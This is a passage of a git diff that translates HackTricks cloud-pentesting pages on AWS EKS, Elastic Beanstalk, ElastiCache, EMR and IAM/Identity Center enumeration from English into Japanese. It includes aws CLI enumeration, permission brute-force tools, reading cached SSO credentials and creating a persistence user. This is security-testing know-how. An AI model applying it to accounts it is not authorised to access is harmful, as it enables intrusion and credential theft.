--nodegroup-name aws eks list-updates --name aws eks describe-update --name --update-id ``` - -#### Post Exploitation +#### ポストエクスプロイテーション {{#ref}} ../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -## References +## 参考文献 - [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 980504dac..ade5fadc8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -4,70 +4,69 @@ ## Elastic Beanstalk -Amazon Elastic Beanstalk provides a simplified platform for **deploying, managing, and scaling web applications and services**. It supports a variety of programming languages and frameworks, such as Java, .NET, PHP, Node.js, Python, Ruby, and Go, as well as Docker containers. The service is compatible with widely-used servers including Apache, Nginx, Passenger, and IIS. +Amazon Elastic Beanstalkは、**ウェブアプリケーションとサービスのデプロイ、管理、スケーリング**のための簡素化されたプラットフォームを提供します。Java、.NET、PHP、Node.js、Python、Ruby、Goなどのさまざまなプログラミング言語とフレームワーク、さらにDockerコンテナをサポートしています。このサービスは、Apache、Nginx、Passenger、IISなどの広く使用されているサーバーと互換性があります。 -Elastic Beanstalk provides a simple and flexible way to **deploy your applications to the AWS cloud**, without the need to worry about the underlying infrastructure. It **automatically** handles the details of capacity **provisioning**, load **balancing**, **scaling**, and application health **monitoring**, allowing you to focus on writing and deploying your code. +Elastic Beanstalkは、**AWSクラウドにアプリケーションをデプロイするためのシンプルで柔軟な方法**を提供し、基盤となるインフラストラクチャについて心配する必要はありません。**自動的に**容量の**プロビジョニング**、負荷**バランシング**、**スケーリング**、およびアプリケーションの健康**モニタリング**の詳細を処理し、コードの作成とデプロイに集中できるようにします。 -The infrastructure created by Elastic Beanstalk is managed by **Autoscaling** Groups in **EC2** (with a load balancer). Which means that at the end of the day, if you **compromise the host**, you should know about about EC2: +Elastic Beanstalkによって作成されたインフラストラクチャは、**EC2**の**オートスケーリング**グループによって管理されます（負荷バランサー付き）。つまり、最終的には、**ホストを侵害**した場合、EC2について知っておくべきです： {{#ref}} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -Moreover, if Docker is used, it’s possible to use **ECS**. +さらに、Dockerが使用されている場合、**ECS**を使用することも可能です。 {{#ref}} aws-eks-enum.md {{#endref}} -### Application & Environments +### アプリケーションと環境 -In AWS Elastic Beanstalk, the concepts of an "application" and an "environment" serve different purposes and have distinct roles in the deployment process. +AWS Elastic Beanstalkでは、「アプリケーション」と「環境」の概念は異なる目的を持ち、デプロイプロセスにおいて異なる役割を果たします。 -#### Application +#### アプリケーション -- An application in Elastic Beanstalk is a **logical container for your application's source code, environments, and configurations**. It groups together different versions of your application code and allows you to manage them as a single entity. -- When you create an application, you provide a name and **description, but no resources are provisioned** at this stage. it is simply a way to organize and manage your code and related resources. -- You can have **multiple application versions** within an application. Each version corresponds to a specific release of your code, which can be deployed to one or more environments. +- Elastic Beanstalkのアプリケーションは、**アプリケーションのソースコード、環境、および設定の論理コンテナ**です。異なるバージョンのアプリケーションコードをグループ化し、単一のエンティティとして管理できます。 +- アプリケーションを作成する際には、名前と**説明を提供しますが、この段階ではリソースはプロビジョニングされません**。これは単にコードと関連リソースを整理し管理する方法です。 +- アプリケーション内には**複数のアプリケーションバージョン**を持つことができます。各バージョンは、特定のリリースに対応し、1つ以上の環境にデプロイできます。 -#### Environment +#### 環境 -- An environment is a **provisioned instance of your application** running on AWS infrastructure. It is **where your application code is deployed and executed**. Elastic Beanstalk provisions the necessary resources (e.g., EC2 instances, load balancers, auto-scaling groups, databases) based on the environment configuration. -- **Each environment runs a single version of your application**, and you can have multiple environments for different purposes, such as development, testing, staging, and production. -- When you create an environment, you choose a platform (e.g., Java, .NET, Node.js, etc.) and an environment type (e.g., web server or worker). You can also customize the environment configuration to control various aspects of the infrastructure and application settings. +- 環境は、AWSインフラストラクチャ上で実行される**アプリケーションのプロビジョニングされたインスタンス**です。**アプリケーションコードがデプロイされ、実行される場所**です。Elastic Beanstalkは、環境設定に基づいて必要なリソース（例：EC2インスタンス、負荷バランサー、オートスケーリンググループ、データベース）をプロビジョニングします。 +- **各環境はアプリケーションの単一バージョンを実行し**、開発、テスト、ステージング、本番など、異なる目的のために複数の環境を持つことができます。 +- 環境を作成する際には、プラットフォーム（例：Java、.NET、Node.jsなど）と環境タイプ（例：ウェブサーバーまたはワーカー）を選択します。また、インフラストラクチャやアプリケーション設定のさまざまな側面を制御するために、環境設定をカスタマイズすることもできます。 -### 2 types of Environments +### 2種類の環境 -1. **Web Server Environment**: It is designed to **host and serve web applications and APIs**. These applications typically handle incoming HTTP/HTTPS requests. The web server environment provisions resources such as **EC2 instances, load balancers, and auto-scaling** groups to handle incoming traffic, manage capacity, and ensure the application's high availability. -2. **Worker Environment**: It is designed to process **background tasks**, which are often time-consuming or resource-intensive operations that don't require immediate responses to clients. The worker environment provisions resources like **EC2 instances and auto-scaling groups**, but it **doesn't have a load balancer** since it doesn't handle HTTP/HTTPS requests directly. Instead, it consumes tasks from an **Amazon Simple Queue Service (SQS) queue**, which acts as a buffer between the worker environment and the tasks it processes. +1. **ウェブサーバー環境**：これは、**ウェブアプリケーションとAPIをホストおよび提供するために設計されています**。これらのアプリケーションは通常、受信HTTP/HTTPSリクエストを処理します。ウェブサーバー環境は、受信トラフィックを処理し、容量を管理し、アプリケーションの高可用性を確保するために、**EC2インスタンス、負荷バランサー、オートスケーリング**グループなどのリソースをプロビジョニングします。 +2. **ワーカー環境**：これは、**バックグラウンドタスク**を処理するために設計されています。これらは通常、時間がかかるかリソース集約的な操作であり、クライアントへの即時応答を必要としません。ワーカー環境は、**EC2インスタンスとオートスケーリンググループ**のようなリソースをプロビジョニングしますが、HTTP/HTTPSリクエストを直接処理しないため、**負荷バランサーはありません**。代わりに、**Amazon Simple Queue Service (SQS) キュー**からタスクを消費し、ワーカー環境と処理するタスクの間のバッファとして機能します。 -### Security +### セキュリティ -When creating an App in Beanstalk there are 3 very important security options to choose: +Beanstalkでアプリを作成する際には、選択する非常に重要なセキュリティオプションが3つあります： -- **EC2 key pair**: This will be the **SSH key** that will be able to access the EC2 instances running the app -- **IAM instance profile**: This is the **instance profile** that the instances will have (**IAM privileges**) - - The autogenerated role is called **`aws-elasticbeanstalk-ec2-role`** and has some interesting access over all ECS, all SQS, DynamoDB elasticbeanstalk and elasticbeanstalk S3 using the AWS managed policies: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). -- **Service role**: This is the **role that the AWS service** will use to perform all the needed actions. Afaik, a regular AWS user cannot access that role. - - This role generated by AWS is called **`aws-elasticbeanstalk-service-role`** and uses the AWS managed policies [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) and [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) +- **EC2キーペア**：これは、アプリを実行しているEC2インスタンスにアクセスできる**SSHキー**です。 +- **IAMインスタンスプロファイル**：これは、インスタンスが持つ**インスタンスプロファイル**です（**IAM権限**）。 +- 自動生成されたロールは**`aws-elasticbeanstalk-ec2-role`**と呼ばれ、すべてのECS、すべてのSQS、DynamoDB elasticbeanstalkおよびelasticbeanstalk S3に対して興味深いアクセス権を持っています。AWS管理ポリシーを使用しています：[AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier)、[AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker)、[AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier)。 +- **サービスロール**：これは、**AWSサービスが**必要なすべてのアクションを実行するために使用する**ロール**です。私の知る限り、通常のAWSユーザーはそのロールにアクセスできません。 +- AWSによって生成されたこのロールは**`aws-elasticbeanstalk-service-role`**と呼ばれ、AWS管理ポリシー[AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth)および[AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions)を使用しています。 -By default **metadata version 1 is disabled**: +デフォルトでは、**メタデータバージョン1は無効**です：
-### Exposure +### エクスポージャー -Beanstalk data is stored in a **S3 bucket** with the following name: **`elasticbeanstalk--`**(if it was created in the AWS console). Inside this bucket you will find the uploaded **source code of the application**. +Beanstalkデータは、次の名前の**S3バケット**に保存されます：**`elasticbeanstalk--`**（AWSコンソールで作成された場合）。このバケット内には、アップロードされた**アプリケーションのソースコード**が見つかります。 -The **URL** of the created webpage is **`http://-env...elasticbeanstalk.com/`** +作成されたウェブページの**URL**は**`http://-env...elasticbeanstalk.com/`**です。 > [!WARNING] -> If you get **read access** over the bucket, you can **read the source code** and even find **sensitive credentials** on it +> バケットに**読み取りアクセス**がある場合、**ソースコードを読み取る**ことができ、さらには**機密資格情報**を見つけることもできます。 > -> if you get **write access** over the bucket, you could **modify the source code** to **compromise** the **IAM role** the application is using next time it's executed. - -### Enumeration +> バケットに**書き込みアクセス**がある場合、**ソースコードを変更**して、次回実行される際にアプリケーションが使用している**IAMロールを侵害**することができます。 +### 列挙 ```bash # Find S3 bucket ACCOUNT_NUMBER= @@ -85,33 +84,28 @@ aws elasticbeanstalk describe-instances-health --environment-name # G # Get events aws elasticbeanstalk describe-events ``` - -### Unauthenticated Access +### 認証されていないアクセス {{#ref}} ../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md {{#endref}} -### Persistence +### 永続性 {{#ref}} ../aws-persistence/aws-elastic-beanstalk-persistence.md {{#endref}} -### Privesc +### 権限昇格 {{#ref}} ../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md {{#endref}} -### Post Exploitation +### ポストエクスプロイト {{#ref}} ../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index 6305fcc91..ea8bc7316 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,10 +4,9 @@ ## ElastiCache -AWS ElastiCache is a fully **managed in-memory data store and cache service** that provides high-performance, low-latency, and scalable solutions for applications. It supports two popular open-source in-memory engines: **Redis and Memcached**. ElastiCache **simplifies** the **setup**, **management**, and **maintenance** of these engines, allowing developers to offload time-consuming tasks such as provisioning, patching, monitoring, and **backups**. +AWS ElastiCacheは、アプリケーション向けに高性能、低遅延、スケーラブルなソリューションを提供する完全に**管理されたインメモリデータストアおよびキャッシュサービス**です。これは、2つの人気のあるオープンソースインメモリエンジン、**RedisとMemcached**をサポートしています。ElastiCacheは、これらのエンジンの**セットアップ**、**管理**、および**メンテナンス**を**簡素化**し、開発者がプロビジョニング、パッチ適用、監視、**バックアップ**などの時間のかかるタスクをオフロードできるようにします。 ### Enumeration - ```bash # ElastiCache clusters ## Check the SecurityGroups to later check who can access @@ -39,11 +38,6 @@ aws elasticache describe-users # List ElastiCache events aws elasticache describe-events ``` - -### Privesc (TODO) +### プライベートエスカレーション (TODO) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index b05012f3e..3a3f78ebc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -4,38 +4,37 @@ ## EMR -AWS's Elastic MapReduce (EMR) service, starting from version 4.8.0, introduced a **security configuration** feature that enhances data protection by allowing users to specify encryption settings for data at rest and in transit within EMR clusters, which are scalable groups of EC2 instances designed to process big data frameworks like Apache Hadoop and Spark. +AWSのElastic MapReduce (EMR)サービスは、バージョン4.8.0から、**セキュリティ構成**機能を導入し、ユーザーがEMRクラスター内の静止データと転送中のデータの暗号化設定を指定できるようにすることでデータ保護を強化しています。EMRクラスターは、Apache HadoopやSparkなどのビッグデータフレームワークを処理するために設計されたスケーラブルなEC2インスタンスのグループです。 -Key characteristics include: +主な特徴は以下の通りです： -- **Cluster Encryption Default**: By default, data at rest within a cluster is not encrypted. However, enabling encryption provides access to several features: - - **Linux Unified Key Setup**: Encrypts EBS cluster volumes. Users can opt for AWS Key Management Service (KMS) or a custom key provider. - - **Open-Source HDFS Encryption**: Offers two encryption options for Hadoop: - - Secure Hadoop RPC (Remote Procedure Call), set to privacy, leveraging the Simple Authentication Security Layer. - - HDFS Block transfer encryption, set to true, utilizes the AES-256 algorithm. -- **Encryption in Transit**: Focuses on securing data during transfer. Options include: - - **Open Source Transport Layer Security (TLS)**: Encryption can be enabled by choosing a certificate provider: - - **PEM**: Requires manual creation and bundling of PEM certificates into a zip file, referenced from an S3 bucket. - - **Custom**: Involves adding a custom Java class as a certificate provider that supplies encryption artifacts. +- **クラスター暗号化デフォルト**：デフォルトでは、クラスター内の静止データは暗号化されていません。ただし、暗号化を有効にすると、いくつかの機能にアクセスできます： +- **Linux Unified Key Setup**：EBSクラスターのボリュームを暗号化します。ユーザーはAWS Key Management Service (KMS)またはカスタムキー提供者を選択できます。 +- **オープンソースHDFS暗号化**：Hadoop用の2つの暗号化オプションを提供します： +- セキュアHadoop RPC（リモートプロシージャコール）、プライバシーに設定され、Simple Authentication Security Layerを利用します。 +- HDFSブロック転送暗号化、trueに設定され、AES-256アルゴリズムを利用します。 +- **転送中の暗号化**：転送中のデータを保護することに焦点を当てています。オプションには以下が含まれます： +- **オープンソースTransport Layer Security (TLS)**：証明書提供者を選択することで暗号化を有効にできます： +- **PEM**：PEM証明書を手動で作成し、zipファイルにバンドルする必要があり、S3バケットから参照されます。 +- **カスタム**：暗号化アーティファクトを提供する証明書提供者としてカスタムJavaクラスを追加します。 -Once a TLS certificate provider is integrated into the security configuration, the following application-specific encryption features can be activated, varying based on the EMR version: +TLS証明書提供者がセキュリティ構成に統合されると、EMRバージョンに応じて以下のアプリケーション固有の暗号化機能を有効にできます： -- **Hadoop**: - - Might reduce encrypted shuffle using TLS. - - Secure Hadoop RPC with Simple Authentication Security Layer and HDFS Block Transfer with AES-256 are activated with at-rest encryption. -- **Presto** (EMR version 5.6.0+): - - Internal communication between Presto nodes is secured using SSL and TLS. -- **Tez Shuffle Handler**: - - Utilizes TLS for encryption. -- **Spark**: - - Employs TLS for the Akka protocol. - - Uses Simple Authentication Security Layer and 3DES for Block Transfer Service. - - External shuffle service is secured with the Simple Authentication Security Layer. +- **Hadoop**： +- TLSを使用して暗号化されたシャッフルを減少させる可能性があります。 +- 静止データ暗号化が有効な場合、Simple Authentication Security Layerを使用したセキュアHadoop RPCとAES-256によるHDFSブロック転送が有効になります。 +- **Presto**（EMRバージョン5.6.0以上）： +- Prestoノード間の内部通信はSSLおよびTLSを使用して保護されます。 +- **Tez Shuffle Handler**： +- 暗号化のためにTLSを利用します。 +- **Spark**： +- AkkaプロトコルのためにTLSを使用します。 +- ブロック転送サービスのためにSimple Authentication Security Layerと3DESを使用します。 +- 外部シャッフルサービスはSimple Authentication Security Layerで保護されています。 -These features collectively enhance the security posture of EMR clusters, especially concerning data protection during storage and transmission phases. +これらの機能は、特にストレージおよび転送フェーズにおけるデータ保護に関して、EMRクラスターのセキュリティ姿勢を総合的に強化します。 #### Enumeration - ```bash aws emr list-clusters aws emr describe-cluster --cluster-id @@ -46,19 +45,14 @@ aws emr list-notebook-executions aws emr list-security-configurations aws emr list-studios #Get studio URLs ``` - -#### Privesc +#### プライベートエスカレーション {{#ref}} ../aws-privilege-escalation/aws-emr-privesc.md {{#endref}} -## References +## 参考文献 - [https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/](https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index 7a430cc17..b37f062f9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -4,17 +4,17 @@ ## IAM -You can find a **description of IAM** in: +**IAMの説明**は以下で見つけることができます: {{#ref}} ../aws-basic-information/ {{#endref}} -### Enumeration +### 列挙 -Main permissions needed: +必要な主な権限: -- `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion` +- `iam:ListPolicies`, `iam:GetPolicy` および `iam:GetPolicyVersion` - `iam:ListRoles` - `iam:ListUsers` - `iam:ListGroups` @@ -22,10 +22,9 @@ Main permissions needed: - `iam:ListAttachedUserPolicies` - `iam:ListAttachedRolePolicies` - `iam:ListAttachedGroupPolicies` -- `iam:ListUserPolicies` and `iam:GetUserPolicy` -- `iam:ListGroupPolicies` and `iam:GetGroupPolicy` -- `iam:ListRolePolicies` and `iam:GetRolePolicy` - +- `iam:ListUserPolicies` および `iam:GetUserPolicy` +- `iam:ListGroupPolicies` および `iam:GetGroupPolicy` +- `iam:ListRolePolicies` および `iam:GetRolePolicy` ```bash # All IAMs ## Retrieves information about all IAM users, groups, roles, and policies @@ -89,64 +88,54 @@ aws iam get-account-password-policy aws iam list-mfa-devices aws iam list-virtual-mfa-devices ``` +### パーミッションブルートフォース -### Permissions Brute Force - -If you are interested in your own permissions but you don't have access to query IAM you could always brute-force them. +自分のパーミッションに興味があるが、IAMをクエリするアクセス権がない場合は、常にブルートフォースすることができます。 #### bf-aws-permissions -The tool [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) is just a bash script that will run using the indicated profile all the **`list*`, `describe*`, `get*`** actions it can find using `aws` cli help messages and **return the successful executions**. - +ツール [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) は、指定されたプロファイルを使用して、`aws` cli ヘルプメッセージを使用して見つけたすべての **`list*`, `describe*`, `get*`** アクションを実行するだけのバッシュスクリプトであり、**成功した実行を返します**。 ```bash # Bruteforce permissions bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt ``` - #### bf-aws-perms-simulate -The tool [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) can find your current permission (or the ones of other principals) if you have the permission **`iam:SimulatePrincipalPolicy`** - +ツール [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) は、あなたの現在の権限（または他のプリンシパルの権限）を見つけることができます、もしあなたが権限 **`iam:SimulatePrincipalPolicy`** を持っている場合。 ```bash # Ask for permissions python3 aws_permissions_checker.py --profile [--arn ] ``` - #### Perms2ManagedPolicies -If you found **some permissions your user has**, and you think that they are being granted by a **managed AWS role** (and not by a custom one). You can use the tool [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) to check all the **AWS managed roles that grants the permissions you discovered that you have**. - +もしあなたのユーザーが**いくつかの権限を持っている**ことを見つけ、それが**カスタムではなく管理されたAWSロール**によって付与されていると思う場合、ツール[**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies)を使用して、あなたが持っていることを発見した権限を付与する**AWS管理ロール**をすべて確認できます。 ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt ``` - > [!WARNING] -> It's possible to "know" if the permissions you have are granted by an AWS managed role if you see that **you have permissions over services that aren't used** for example. +> AWS管理ロールによって付与された権限があるかどうかを「知る」ことができるのは、例えば**使用されていないサービスに対する権限がある**場合です。 #### Cloudtrail2IAM -[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) is a Python tool that analyses **AWS CloudTrail logs to extract and summarize actions** done by everyone or just an specific user or role. The tool will **parse every cloudtrail log from the indicated bucket**. - +[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM)は、**AWS CloudTrailログを分析して、全員または特定のユーザーやロールによって行われたアクションを抽出および要約する**Pythonツールです。このツールは、**指定されたバケットからすべてのcloudtrailログを解析します**。 ```bash git clone https://github.com/carlospolop/Cloudtrail2IAM cd Cloudtrail2IAM pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` - > [!WARNING] -> If you find .tfstate (Terraform state files) or CloudFormation files (these are usually yaml files located inside a bucket with the prefix cf-templates), you can also read them to find aws configuration and find which permissions have been assigned to who. +> .tfstate（Terraformステートファイル）やCloudFormationファイル（通常、cf-templatesというプレフィックスが付いたバケット内にあるyamlファイル）を見つけた場合、それらを読み取ってawsの設定を見つけ、誰にどの権限が割り当てられているかを確認できます。 #### enumerate-iam -To use the tool [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) you first need to download all the API AWS endpoints, from those the script **`generate_bruteforce_tests.py`** will get all the **"list\_", "describe\_", and "get\_" endpoints.** And finally, it will try to **access them** with the given credentials and **indicate if it worked**. +ツール[**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam)を使用するには、まずすべてのAPI AWSエンドポイントをダウンロードする必要があります。そこからスクリプト**`generate_bruteforce_tests.py`**がすべての**"list\_", "describe\_", および "get\_"エンドポイントを取得します。** 最後に、指定された資格情報で**それらにアクセスしようとし、** **成功したかどうかを示します。** -(In my experience the **tool hangs at some point**, [**checkout this fix**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) to try to fix that). +（私の経験では、**ツールはある時点でハングします**、[**この修正を確認してください**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c)それを修正しようとするために）。 > [!WARNING] -> In my experience this tool is like the previous one but working worse and checking less permissions - +> 私の経験では、このツールは前のものと似ていますが、動作が悪く、権限のチェックが少ないです。 ```bash # Install tool git clone git@github.com:andresriancho/enumerate-iam.git @@ -163,11 +152,9 @@ cd .. # Enumerate permissions python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--session-token SESSION_TOKEN] [--region REGION] ``` - #### weirdAAL -You could also use the tool [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). This tool will check **several common operations on several common services** (will check some enumeration permissions and also some privesc permissions). But it will only check the coded checks (the only way to check more stuff if coding more tests). - +ツール[**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki)を使用することもできます。このツールは**いくつかの一般的なサービスに対するいくつかの一般的な操作をチェックします**（いくつかの列挙権限といくつかの特権昇格権限をチェックします）。しかし、コーディングされたチェックのみを確認します（より多くのテストをコーディングすることでのみ、より多くの情報を確認できます）。 ```bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git @@ -191,12 +178,10 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions # [+] elbv2 Actions allowed are [+] # ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups'] ``` - -#### Hardening Tools to BF permissions +#### 権限をBFするためのハードニングツール {{#tabs }} {{#tab name="CloudSploit" }} - ```bash # Export env variables ./index.js --console=text --config ./config.js --json /tmp/out-cloudsploit.json @@ -207,11 +192,9 @@ jq 'map(select(.status | contains("UNKNOWN") | not))' /tmp/out-cloudsploit.json # Get services by regions jq 'group_by(.region) | map({(.[0].region): ([map((.resource | split(":"))[2]) | unique])})' ~/Desktop/pentests/cere/greybox/core-dev-dev-cloudsploit-filtered.json ``` - {{#endtab }} {{#tab name="SteamPipe" }} - ```bash # https://github.com/turbot/steampipe-mod-aws-insights steampipe check all --export=json @@ -220,50 +203,48 @@ steampipe check all --export=json # In this case you cannot output to JSON, so heck it in the dashboard steampipe dashboard ``` - {{#endtab }} {{#endtabs }} #### \ -Neither of the previous tools is capable of checking close to all permissions, so if you know a better tool send a PR! +前のツールのいずれもすべての権限を確認することはできないので、より良いツールを知っている場合はPRを送ってください！ -### Unauthenticated Access +### 認証されていないアクセス {{#ref}} ../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### 権限昇格 -In the following page you can check how to **abuse IAM permissions to escalate privileges**: +次のページでは、**IAM権限を悪用して権限を昇格させる方法**を確認できます： {{#ref}} ../aws-privilege-escalation/aws-iam-privesc.md {{#endref}} -### IAM Post Exploitation +### IAMのポストエクスプロイト {{#ref}} ../aws-post-exploitation/aws-iam-post-exploitation.md {{#endref}} -### IAM Persistence +### IAMの持続性 {{#ref}} ../aws-persistence/aws-iam-persistence.md {{#endref}} -## IAM Identity Center +## IAMアイデンティティセンター -You can find a **description of IAM Identity Center** in: +**IAMアイデンティティセンターの説明**は以下で見つけることができます： {{#ref}} ../aws-basic-information/ {{#endref}} -### Connect via SSO with CLI - +### CLIでSSO経由で接続 ```bash # Connect with sso via CLI aws configure sso aws configure sso @@ -274,20 +255,18 @@ sso_account_id = sso_role_name = AdministratorAccess sso_region = us-east-1 ``` +### 列挙 -### Enumeration +Identity Centerの主な要素は次のとおりです： -The main elements of the Identity Center are: +- ユーザーとグループ +- 権限セット：ポリシーが添付されています +- AWSアカウント -- Users and groups -- Permission Sets: Have policies attached -- AWS Accounts - -Then, relationships are created so users/groups have Permission Sets over AWS Account. +その後、ユーザー/グループがAWSアカウントに対して権限セットを持つように関係が作成されます。 > [!NOTE] -> Note that there are 3 ways to attach policies to a Permission Set. Attaching AWS managed policies, Customer managed policies (these policies needs to be created in all the accounts the Permissions Set is affecting), and inline policies (defined in there). - +> ポリシーを権限セットに添付する方法は3つあります。AWS管理ポリシーを添付すること、カスタマー管理ポリシー（これらのポリシーは、権限セットが影響を与えるすべてのアカウントで作成する必要があります）、およびインラインポリシー（ここで定義されます）。 ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -321,11 +300,9 @@ aws identitystore list-group-memberships --identity-store-id --group- ## Get memberships or a user or a group aws identitystore list-group-memberships-for-member --identity-store-id --member-id ``` - ### Local Enumeration -It's possible to create inside the folder `$HOME/.aws` the file config to configure profiles that are accessible via SSO, for example: - +フォルダ `$HOME/.aws` 内に、SSO 経由でアクセス可能なプロファイルを設定するためのファイル config を作成することができます。例えば： ```ini [default] region = us-west-2 @@ -343,20 +320,16 @@ output = json role_arn = arn:aws:iam:::role/ReadOnlyRole source_profile = Hacktricks-Admin ``` - -This configuration can be used with the commands: - +この構成は次のコマンドで使用できます： ```bash # Login in ms-sso-profile aws sso login --profile my-sso-profile # Use dependent-profile aws s3 ls --profile dependent-profile ``` +When a **profile from SSO is used** to access some information, the credentials are **cached** in a file inside the folder **`$HOME/.aws/sso/cache`**. したがって、それらは**そこから読み取られ、使用される**ことができます。 -When a **profile from SSO is used** to access some information, the credentials are **cached** in a file inside the folder **`$HOME/.aws/sso/cache`**. Therefore they can be **read and used from there**. - -Moreover, **more credentials** can be stored in the folder **`$HOME/.aws/cli/cache`**. This cache directory is primarily used when you are **working with AWS CLI profiles** that use IAM user credentials or **assume** roles through IAM (without SSO). Config example: - +さらに、**より多くの資格情報**はフォルダー**`$HOME/.aws/cli/cache`**に保存できます。このキャッシュディレクトリは、主にIAMユーザー資格情報を使用する**AWS CLIプロファイル**で作業しているときや、IAMを通じて**ロールを引き受ける**とき（SSOなし）に使用されます。設定例: ```ini [profile crossaccountrole] role_arn = arn:aws:iam::234567890123:role/SomeRole @@ -364,43 +337,36 @@ source_profile = default mfa_serial = arn:aws:iam::123456789012:mfa/saanvi external_id = 123456 ``` - -### Unauthenticated Access +### 認証されていないアクセス {{#ref}} ../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### 権限昇格 {{#ref}} ../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md {{#endref}} -### Post Exploitation +### ポストエクスプロイト {{#ref}} ../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md {{#endref}} -### Persistence - -#### Create a user an assign permissions to it +### 永続性 +#### ユーザーを作成し、権限を割り当てる ```bash # Create user identitystore:CreateUser aws identitystore create-user --identity-store-id --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password ``` +- グループを作成し、権限を割り当て、制御されたユーザーを設定します +- 